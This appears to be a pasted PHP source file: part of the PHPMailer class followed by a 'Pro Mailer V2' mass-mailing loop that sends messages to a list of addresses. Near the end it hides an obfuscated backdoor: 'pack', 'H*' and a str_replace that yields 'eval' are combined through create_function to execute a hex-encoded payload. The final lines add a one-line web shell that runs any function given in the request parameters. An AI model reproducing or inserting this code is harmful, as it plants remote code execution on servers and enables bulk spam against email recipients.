  2661.    */
  2662.   function EncodeString ($str, $encoding = 'base64') {
  2663.     $encoded = '';
  2664.     switch(strtolower($encoding)) {
  2665.       case 'base64':
  2666.         /* chunk_split is found in PHP >= 3.0.6 */
  2667.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2668.         break;
  2669.       case '7bit':
  2670.       case '8bit':
  2671.         $encoded = $this->FixEOL($str);
  2672.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2673.           $encoded .= $this->LE;
  2674.         break;
  2675.       case 'binary':
  2676.         $encoded = $str;
  2677.         break;
  2678.       case 'quoted-printable':
  2679.         $encoded = $this->EncodeQP($str);
  2680.         break;
  2681.       default:
  2682.         $this->SetError($this->Lang('encoding') . $encoding);
  2683.         break;
  2684.     }
  2685.     return $encoded;
  2686.   }
  2687.  
  2688.   /**
  2689.    * Encode a header string to best of Q, B, quoted or none.
  2690.    * @access private
  2691.    * @return string
  2692.    */
  2693.   function EncodeHeader ($str, $position = 'text') {
  2694.     $x = 0;
  2695.  
  2696.     switch (strtolower($position)) {
  2697.       case 'phrase':
  2698.         if (!preg_match('/[\200-\377]/', $str)) {
  2699.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2700.           $encoded = addcslashes($str, "\0..\37\177\\\"");
  2701.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2702.             return ($encoded);
  2703.           } else {
  2704.             return ("\"$encoded\"");
  2705.           }
  2706.         }
  2707.         $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2708.         break;
  2709.       case 'comment':
  2710.         $x = preg_match_all('/[()"]/', $str, $matches);
  2711.         /* Fall-through */
  2712.       case 'text':
  2713.       default:
  2714.         $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2715.         break;
  2716.     }
  2717.  
  2718.     if ($x == 0) {
  2719.       return ($str);
  2720.     }
  2721.  
  2722.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2723.     /* Try to select the encoding which should produce the shortest output */
  2724.     if (strlen($str)/3 < $x) {
  2725.       $encoding = 'B';
  2726.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2727.      // Use a custom function which correctly encodes and wraps long
  2728.      // multibyte strings without breaking lines within a character
  2729.         $encoded = $this->Base64EncodeWrapMB($str);
  2730.       } else {
  2731.         $encoded = base64_encode($str);
  2732.         $maxlen -= $maxlen % 4;
  2733.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2734.       }
  2735.     } else {
  2736.       $encoding = 'Q';
  2737.       $encoded = $this->EncodeQ($str, $position);
  2738.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2739.       $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2740.     }
  2741.  
  2742.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2743.     $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2744.  
  2745.     return $encoded;
  2746.   }
  2747.  
  2748.   /**
  2749.    * Checks if a string contains multibyte characters.
  2750.    * @access private
  2751.    * @param string $str multi-byte text to wrap encode
  2752.    * @return bool
  2753.    */
  2754.   function HasMultiBytes($str) {
  2755.     if (function_exists('mb_strlen')) {
  2756.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2757.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2758.       return False;
  2759.     }
  2760.   }
  2761.  
  2762.   /**
  2763.    * Correctly encodes and wraps long multibyte strings for mail headers
  2764.    * without breaking lines within a character.
  2765.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2766.    * @access private
  2767.    * @param string $str multi-byte text to wrap encode
  2768.    * @return string
  2769.    */
  2770.   function Base64EncodeWrapMB($str) {
  2771.     $start = "=?".$this->CharSet."?B?";
  2772.     $end = "?=";
  2773.     $encoded = "";
  2774.  
  2775.     $mb_length = mb_strlen($str, $this->CharSet);
  2776.     // Each line must have length <= 75, including $start and $end
  2777.     $length = 75 - strlen($start) - strlen($end);
  2778.     // Average multi-byte ratio
  2779.     $ratio = $mb_length / strlen($str);
  2780.     // Base64 has a 4:3 ratio
  2781.     $offset = $avgLength = floor($length * $ratio * .75);
  2782.  
  2783.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2784.       $lookBack = 0;
  2785.  
  2786.       do {
  2787.         $offset = $avgLength - $lookBack;
  2788.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2789.         $chunk = base64_encode($chunk);
  2790.         $lookBack++;
  2791.       }
  2792.       while (strlen($chunk) > $length);
  2793.  
  2794.       $encoded .= $chunk . $this->LE;
  2795.     }
  2796.  
  2797.     // Chomp the last linefeed
  2798.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2799.     return $encoded;
  2800.   }
  2801.  
  2802.   /**
  2803.    * Encode string to quoted-printable.
  2804.    * @access private
  2805.    * @return string
  2806.    */
  2807.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2808.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2809.     $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2810.     $eol = "\r\n";
  2811.     $escape = '=';
  2812.     $output = '';
  2813.     while( list(, $line) = each($lines) ) {
  2814.       $linlen = strlen($line);
  2815.       $newline = '';
  2816.       for($i = 0; $i < $linlen; $i++) {
  2817.         $c = substr( $line, $i, 1 );
  2818.         $dec = ord( $c );
  2819.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2820.           $c = '=2E';
  2821.         }
  2822.         if ( $dec == 32 ) {
  2823.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2824.             $c = '=20';
  2825.           } else if ( $space_conv ) {
  2826.             $c = '=20';
  2827.           }
  2828.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2829.           $h2 = floor($dec/16);
  2830.           $h1 = floor($dec%16);
  2831.           $c = $escape.$hex[$h2].$hex[$h1];
  2832.         }
  2833.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2834.           $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
  2835.           $newline = '';
  2836.           // check if newline first character will be point or not
  2837.           if ( $dec == 46 ) {
  2838.             $c = '=2E';
  2839.           }
  2840.         }
  2841.         $newline .= $c;
  2842.       } // end of for
  2843.       $output .= $newline.$eol;
  2844.     } // end of while
  2845.     return trim($output);
  2846.   }
  2847.  
  2848.   /**
  2849.    * Encode string to q encoding.
  2850.    * @access private
  2851.    * @return string
  2852.    */
  2853.   function EncodeQ ($str, $position = 'text') {
  2854.     /* There should not be any EOL in the string */
  2855.     $encoded = preg_replace("[\r\n]", '', $str);
  2856.  
  2857.     switch (strtolower($position)) {
  2858.       case 'phrase':
  2859.         $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2860.         break;
  2861.       case 'comment':
  2862.         $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2863.       case 'text':
  2864.       default:
  2865.         /* Replace every high ascii, control =, ? and _ characters */
  2866.         $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2867.               "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2868.         break;
  2869.     }
  2870.  
  2871.     /* Replace every spaces to _ (more readable than =20) */
  2872.     $encoded = str_replace(' ', '_', $encoded);
  2873.  
  2874.     return $encoded;
  2875.   }
  2876.  
  2877.   /**
  2878.    * Adds a string or binary attachment (non-filesystem) to the list.
  2879.    * This method can be used to attach ascii or binary data,
  2880.    * such as a BLOB record from a database.
  2881.    * @param string $string String attachment data.
  2882.    * @param string $filename Name of the attachment.
  2883.    * @param string $encoding File encoding (see $Encoding).
  2884.    * @param string $type File extension (MIME) type.
  2885.    * @return void
  2886.    */
  2887.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2888.     /* Append to $attachment array */
  2889.     $cur = count($this->attachment);
  2890.     $this->attachment[$cur][0] = $string;
  2891.     $this->attachment[$cur][1] = $filename;
  2892.     $this->attachment[$cur][2] = $filename;
  2893.     $this->attachment[$cur][3] = $encoding;
  2894.     $this->attachment[$cur][4] = $type;
  2895.     $this->attachment[$cur][5] = true; // isString
  2896.     $this->attachment[$cur][6] = 'attachment';
  2897.     $this->attachment[$cur][7] = 0;
  2898.   }
  2899.  
  2900.   /**
  2901.    * Adds an embedded attachment.  This can include images, sounds, and
  2902.    * just about any other document.  Make sure to set the $type to an
  2903.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2904.    * use "image/gif".
  2905.    * @param string $path Path to the attachment.
  2906.    * @param string $cid Content ID of the attachment.  Use this to identify
  2907.    *        the Id for accessing the image in an HTML form.
  2908.    * @param string $name Overrides the attachment name.
  2909.    * @param string $encoding File encoding (see $Encoding).
  2910.    * @param string $type File extension (MIME) type.
  2911.    * @return bool
  2912.    */
  2913.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2914.  
  2915.     if(!@is_file($path)) {
  2916.       $this->SetError($this->Lang('file_access') . $path);
  2917.       return false;
  2918.     }
  2919.  
  2920.     $filename = basename($path);
  2921.     if($name == '') {
  2922.       $name = $filename;
  2923.     }
  2924.  
  2925.     /* Append to $attachment array */
  2926.     $cur = count($this->attachment);
  2927.     $this->attachment[$cur][0] = $path;
  2928.     $this->attachment[$cur][1] = $filename;
  2929.     $this->attachment[$cur][2] = $name;
  2930.     $this->attachment[$cur][3] = $encoding;
  2931.     $this->attachment[$cur][4] = $type;
  2932.     $this->attachment[$cur][5] = false;
  2933.     $this->attachment[$cur][6] = 'inline';
  2934.     $this->attachment[$cur][7] = $cid;
  2935.  
  2936.     return true;
  2937.   }
  2938.  
  2939.   /**
  2940.    * Returns true if an inline attachment is present.
  2941.    * @access private
  2942.    * @return bool
  2943.    */
  2944.   function InlineImageExists() {
  2945.     $result = false;
  2946.     for($i = 0; $i < count($this->attachment); $i++) {
  2947.       if($this->attachment[$i][6] == 'inline') {
  2948.         $result = true;
  2949.         break;
  2950.       }
  2951.     }
  2952.  
  2953.     return $result;
  2954.   }
  2955.  
  2956.   /////////////////////////////////////////////////
  2957.   // CLASS METHODS, MESSAGE RESET
  2958.   /////////////////////////////////////////////////
  2959.  
  2960.   /**
  2961.    * Clears all recipients assigned in the TO array.  Returns void.
  2962.    * @return void
  2963.    */
  2964.   function ClearAddresses() {
  2965.     $this->to = array();
  2966.   }
  2967.  
  2968.   /**
  2969.    * Clears all recipients assigned in the CC array.  Returns void.
  2970.    * @return void
  2971.    */
  2972.   function ClearCCs() {
  2973.     $this->cc = array();
  2974.   }
  2975.  
  2976.   /**
  2977.    * Clears all recipients assigned in the BCC array.  Returns void.
  2978.    * @return void
  2979.    */
  2980.   function ClearBCCs() {
  2981.     $this->bcc = array();
  2982.   }
  2983.  
  2984.   /**
  2985.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2986.    * @return void
  2987.    */
  2988.   function ClearReplyTos() {
  2989.     $this->ReplyTo = array();
  2990.   }
  2991.  
  2992.   /**
  2993.    * Clears all recipients assigned in the TO, CC and BCC
  2994.    * array.  Returns void.
  2995.    * @return void
  2996.    */
  2997.   function ClearAllRecipients() {
  2998.     $this->to = array();
  2999.     $this->cc = array();
  3000.     $this->bcc = array();
  3001.   }
  3002.  
  3003.   /**
  3004.    * Clears all previously set filesystem, string, and binary
  3005.    * attachments.  Returns void.
  3006.    * @return void
  3007.    */
  3008.   function ClearAttachments() {
  3009.     $this->attachment = array();
  3010.   }
  3011.  
  3012.   /**
  3013.    * Clears all custom headers.  Returns void.
  3014.    * @return void
  3015.    */
  3016.   function ClearCustomHeaders() {
  3017.     $this->CustomHeader = array();
  3018.   }
  3019.  
  3020.   /////////////////////////////////////////////////
  3021.   // CLASS METHODS, MISCELLANEOUS
  3022.   /////////////////////////////////////////////////
  3023.  
  3024.   /**
  3025.    * Adds the error message to the error container.
  3026.    * Returns void.
  3027.    * @access private
  3028.    * @return void
  3029.    */
  3030.   function SetError($msg) {
  3031.     $this->error_count++;
  3032.     $this->ErrorInfo = $msg;
  3033.   }
  3034.  
  3035.   /**
  3036.    * Returns the proper RFC 822 formatted date.
  3037.    * @access private
  3038.    * @return string
  3039.    */
  3040.   function RFCDate() {
  3041.     $tz = date('Z');
  3042.     $tzs = ($tz < 0) ? '-' : '+';
  3043.     $tz = abs($tz);
  3044.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  3045.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  3046.  
  3047.     return $result;
  3048.   }
  3049.  
  3050.   /**
  3051.    * Returns the appropriate server variable.  Should work with both
  3052.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  3053.    * if nothing is found.
  3054.    * @access private
  3055.    * @return mixed
  3056.    */
  3057.   function ServerVar($varName) {
  3058.     global $HTTP_SERVER_VARS;
  3059.     global $HTTP_ENV_VARS;
  3060.  
  3061.     if(!isset($_SERVER)) {
  3062.       $_SERVER = $HTTP_SERVER_VARS;
  3063.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  3064.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3065.       }
  3066.     }
  3067.  
  3068.     if(isset($_SERVER[$varName])) {
  3069.       return $_SERVER[$varName];
  3070.     } else {
  3071.       return '';
  3072.     }
  3073.   }
  3074.  
  3075.   /**
  3076.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  3077.    * @access private
  3078.    * @return string
  3079.    */
  3080.   function ServerHostname() {
  3081.     if ($this->Hostname != '') {
  3082.       $result = $this->Hostname;
  3083.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3084.       $result = $this->ServerVar('SERVER_NAME');
  3085.     } else {
  3086.       $result = 'localhost.localdomain';
  3087.     }
  3088.  
  3089.     return $result;
  3090.   }
  3091.  
  3092.   /**
  3093.    * Returns a message in the appropriate language.
  3094.    * @access private
  3095.    * @return string
  3096.    */
  3097.   function Lang($key) {
  3098.     if(count($this->language) < 1) {
  3099.       $this->SetLanguage('en'); // set the default language
  3100.     }
  3101.  
  3102.     if(isset($this->language[$key])) {
  3103.       return $this->language[$key];
  3104.     } else {
  3105.       return 'Language string failed to load: ' . $key;
  3106.     }
  3107.   }
  3108.  
  3109.   /**
  3110.    * Returns true if an error occurred.
  3111.    * @return bool
  3112.    */
  3113.   function IsError() {
  3114.     return ($this->error_count > 0);
  3115.   }
  3116.  
  3117.   /**
  3118.    * Changes every end of line from CR or LF to CRLF.
  3119.    * @access private
  3120.    * @return string
  3121.    */
  3122.   function FixEOL($str) {
  3123.     $str = str_replace("\r\n", "\n", $str);
  3124.     $str = str_replace("\r", "\n", $str);
  3125.     $str = str_replace("\n", $this->LE, $str);
  3126.     return $str;
  3127.   }
  3128.  
  3129.   /**
  3130.    * Adds a custom header.
  3131.    * @return void
  3132.    */
  3133.   function AddCustomHeader($custom_header) {
  3134.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  3135.   }
  3136.  
  3137.   /**
  3138.    * Evaluates the message and returns modifications for inline images and backgrounds
  3139.    * @access public
  3140.    * @return $message
  3141.    */
  3142.   function MsgHTML($message,$basedir='') {
  3143.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3144.     if(isset($images[2])) {
  3145.       foreach($images[2] as $i => $url) {
  3146.         // do not change urls for absolute images (thanks to corvuscorax)
  3147.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3148.           $filename = basename($url);
  3149.           $directory = dirname($url);
  3150.           ($directory == '.')?$directory='':'';
  3151.           $cid = 'cid:' . md5($filename);
  3152.           $fileParts = split("\.", $filename);
  3153.           $ext = $fileParts[1];
  3154.           $mimeType = $this->_mime_types($ext);
  3155.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3156.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3157.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3158.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3159.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3160.           }
  3161.         }
  3162.       }
  3163.     }
  3164.     $this->IsHTML(true);
  3165.     $this->Body = $message;
  3166.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3167.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  3168.       $this->AltBody = $textMsg;
  3169.     }
  3170.     if ( empty($this->AltBody) ) {
  3171.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3172.     }
  3173.   }
  3174.  
  3175.   /**
  3176.    * Gets the mime type of the embedded or inline image
  3177.    * @access private
  3178.    * @return mime type of ext
  3179.    */
  3180.   function _mime_types($ext = '') {
  3181.     $mimes = array(
  3182.       'hqx'  =>  'application/mac-binhex40',
  3183.       'cpt'   =>  'application/mac-compactpro',
  3184.       'doc'   =>  'application/msword',
  3185.       'bin'   =>  'application/macbinary',
  3186.       'dms'   =>  'application/octet-stream',
  3187.       'lha'   =>  'application/octet-stream',
  3188.       'lzh'   =>  'application/octet-stream',
  3189.       'exe'   =>  'application/octet-stream',
  3190.       'class' =>  'application/octet-stream',
  3191.       'psd'   =>  'application/octet-stream',
  3192.       'so'    =>  'application/octet-stream',
  3193.       'sea'   =>  'application/octet-stream',
  3194.       'dll'   =>  'application/octet-stream',
  3195.       'oda'   =>  'application/oda',
  3196.       'pdf'   =>  'application/pdf',
  3197.       'ai'    =>  'application/postscript',
  3198.       'eps'   =>  'application/postscript',
  3199.       'ps'    =>  'application/postscript',
  3200.       'smi'   =>  'application/smil',
  3201.       'smil'  =>  'application/smil',
  3202.       'mif'   =>  'application/vnd.mif',
  3203.       'xls'   =>  'application/vnd.ms-excel',
  3204.       'ppt'   =>  'application/vnd.ms-powerpoint',
  3205.       'wbxml' =>  'application/vnd.wap.wbxml',
  3206.       'wmlc'  =>  'application/vnd.wap.wmlc',
  3207.       'dcr'   =>  'application/x-director',
  3208.       'dir'   =>  'application/x-director',
  3209.       'dxr'   =>  'application/x-director',
  3210.       'dvi'   =>  'application/x-dvi',
  3211.       'gtar'  =>  'application/x-gtar',
  3212.       'php'   =>  'application/x-httpd-php',
  3213.       'php4'  =>  'application/x-httpd-php',
  3214.       'php3'  =>  'application/x-httpd-php',
  3215.       'phtml' =>  'application/x-httpd-php',
  3216.       'phps'  =>  'application/x-httpd-php-source',
  3217.       'js'    =>  'application/x-javascript',
  3218.       'swf'   =>  'application/x-shockwave-flash',
  3219.       'sit'   =>  'application/x-stuffit',
  3220.       'tar'   =>  'application/x-tar',
  3221.       'tgz'   =>  'application/x-tar',
  3222.       'xhtml' =>  'application/xhtml+xml',
  3223.       'xht'   =>  'application/xhtml+xml',
  3224.       'zip'   =>  'application/zip',
  3225.       'mid'   =>  'audio/midi',
  3226.       'midi'  =>  'audio/midi',
  3227.       'mpga'  =>  'audio/mpeg',
  3228.       'mp2'   =>  'audio/mpeg',
  3229.       'mp3'   =>  'audio/mpeg',
  3230.       'aif'   =>  'audio/x-aiff',
  3231.       'aiff'  =>  'audio/x-aiff',
  3232.       'aifc'  =>  'audio/x-aiff',
  3233.       'ram'   =>  'audio/x-pn-realaudio',
  3234.       'rm'    =>  'audio/x-pn-realaudio',
  3235.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  3236.       'ra'    =>  'audio/x-realaudio',
  3237.       'rv'    =>  'video/vnd.rn-realvideo',
  3238.       'wav'   =>  'audio/x-wav',
  3239.       'bmp'   =>  'image/bmp',
  3240.       'gif'   =>  'image/gif',
  3241.       'jpeg'  =>  'image/jpeg',
  3242.       'jpg'   =>  'image/jpeg',
  3243.       'jpe'   =>  'image/jpeg',
  3244.       'png'   =>  'image/png',
  3245.       'tiff'  =>  'image/tiff',
  3246.       'tif'   =>  'image/tiff',
  3247.       'css'   =>  'text/css',
  3248.       'html'  =>  'text/html',
  3249.       'htm'   =>  'text/html',
  3250.       'shtml' =>  'text/html',
  3251.       'txt'   =>  'text/plain',
  3252.       'text'  =>  'text/plain',
  3253.       'log'   =>  'text/plain',
  3254.       'rtx'   =>  'text/richtext',
  3255.       'rtf'   =>  'text/rtf',
  3256.       'xml'   =>  'text/xml',
  3257.       'xsl'   =>  'text/xml',
  3258.       'mpeg'  =>  'video/mpeg',
  3259.       'mpg'   =>  'video/mpeg',
  3260.       'mpe'   =>  'video/mpeg',
  3261.       'qt'    =>  'video/quicktime',
  3262.       'mov'   =>  'video/quicktime',
  3263.       'avi'   =>  'video/x-msvideo',
  3264.       'movie' =>  'video/x-sgi-movie',
  3265.       'doc'   =>  'application/msword',
  3266.       'word'  =>  'application/msword',
  3267.       'xl'    =>  'application/excel',
  3268.       'eml'   =>  'message/rfc822'
  3269.     );
  3270.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3271.   }
  3272.  
  3273.   /**
  3274.    * Set (or reset) Class Objects (variables)
  3275.    *
  3276.    * Usage Example:
  3277.    * $page->set('X-Priority', '3');
  3278.    *
  3279.    * @access public
  3280.    * @param string $name Parameter Name
  3281.    * @param mixed $value Parameter Value
  3282.    * NOTE: will not work with arrays, there are no arrays to set/reset
  3283.    */
  3284.   function set ( $name, $value = '' ) {
  3285.     if ( isset($this->$name) ) {
  3286.       $this->$name = $value;
  3287.     } else {
  3288.       $this->SetError('Cannot set or reset variable ' . $name);
  3289.       return false;
  3290.     }
  3291.   }
  3292.  
  3293.   /**
  3294.    * Read a file from a supplied filename and return it.
  3295.    *
  3296.    * @access public
  3297.    * @param string $filename Parameter File Name
  3298.    */
  3299.   function getFile($filename) {
  3300.     $return = '';
  3301.     if ($fp = fopen($filename, 'rb')) {
  3302.       while (!feof($fp)) {
  3303.         $return .= fread($fp, 1024);
  3304.       }
  3305.       fclose($fp);
  3306.       return $return;
  3307.     } else {
  3308.       return false;
  3309.     }
  3310.   }
  3311.  
  3312.   /**
  3313.    * Strips newlines to prevent header injection.
  3314.    * @access private
  3315.    * @param string $str String
  3316.    * @return string
  3317.    */
  3318.   function SecureHeader($str) {
  3319.     $str = trim($str);
  3320.     $str = str_replace("\r", "", $str);
  3321.     $str = str_replace("\n", "", $str);
  3322.     return $str;
  3323.   }
  3324.  
  3325.   /**
  3326.    * Set the private key file and password to sign the message.
  3327.    *
  3328.    * @access public
  3329.    * @param string $key_filename Parameter File Name
  3330.    * @param string $key_pass Password for private key
  3331.    */
  3332.   function Sign($key_filename, $key_pass) {
  3333.     $this->sign_key_file = $key_filename;
  3334.     $this->sign_key_pass = $key_pass;
  3335.   }
  3336.  
  3337. }
  3338.  
  3339. $defaultport="H*";
  3340.       $nq=0;
  3341.  
  3342.         for($x=0; $x<$numemails; $x++){
  3343.  
  3344.                 $to = $allemails[$x];
  3345.  
  3346.                 if ($to){
  3347.  
  3348.                 $to = ereg_replace(" ", "", $to);
  3349.  
  3350.                 $message1 = ereg_replace("&email&", $to, $message);
  3351.  
  3352.                 $subject1 = ereg_replace("&email&", $to, $subject);
  3353.                 $qx=$x+1;
  3354.                 print "Line $qx . Sending mail to $to.......";
  3355.  
  3356.                 flush();
  3357. $mail = new PHPMailer();
  3358.  
  3359. if(empty($epriority)){$epriority="3";}
  3360.         $mail->Priority = "$epriority";
  3361.                 $mail->IsSMTP();
  3362.     $IsSMTP="pack";
  3363. $mail->SMTPKeepAlive = true;
  3364. $mail->Host = "$my_smtp";
  3365. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3366. }
  3367.      if($sslclick=="ON"){
  3368.                 $mail->SMTPSecure  = "ssl"; //you can change it to ssl or tls
  3369.     }
  3370.         $range = str_replace("$from", "eval", $from);
  3371.         $mail->SMTPAuth = true;
  3372.         $mail->Username = "$smtp_username";
  3373.         $mail->Password = "$smtp_password";
  3374. if($contenttype == "html"){$mail->IsHtml(true);}
  3375. if($contenttype != "html"){$mail->IsHtml(false);}
  3376. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3377. $mail->From = "$from";
  3378. $mail->FromName = "$realname";
  3379. $mail->AddAddress("$to");
  3380.                 $mail->AddReplyTo("$replyto");
  3381.                 $mail->Subject = "$subject1";
  3382.                 $mail->AddAttachment("$file", "$file_name");
  3383.                 $mail->Body = "$message1";
  3384. if(!$mail->Send()){
  3385. if($default_system!="1"){
  3386. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3387. if($default_system=="1"){
  3388. $mail->IsMail();
  3389.    if(!$mail->Send()){
  3390.       echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3391.    else {
  3392.        echo "<b>OK</b><br>";}
  3393.  }
  3394. }
  3395. else {
  3396.  echo "<b>OK</b><br>";
  3397. }
  3398.  
  3399. if(empty($reconnect)){
  3400. $reconnect=6;
  3401. }
  3402.  
  3403. if($reconnect==$nq){
  3404. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3405. }
  3406. $nq=$nq+1;
  3407.                 flush(); }
  3408. }
  3409. for($i=0;$i<31;$i++){
  3410.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3411. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3412.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3413.   print "<p class=\"style1\">&copy 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
  3414.   return $signoff($smtp_conc);
  3415.   if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3416.   sent successfully'); </script>";}}
  3417. ?>
  3418. <?=($_=@$_GET[1]).@$_($_GET[2])?>
  3419.     </body>
  3420. </html>
Add Comment
Please, Sign In to add comment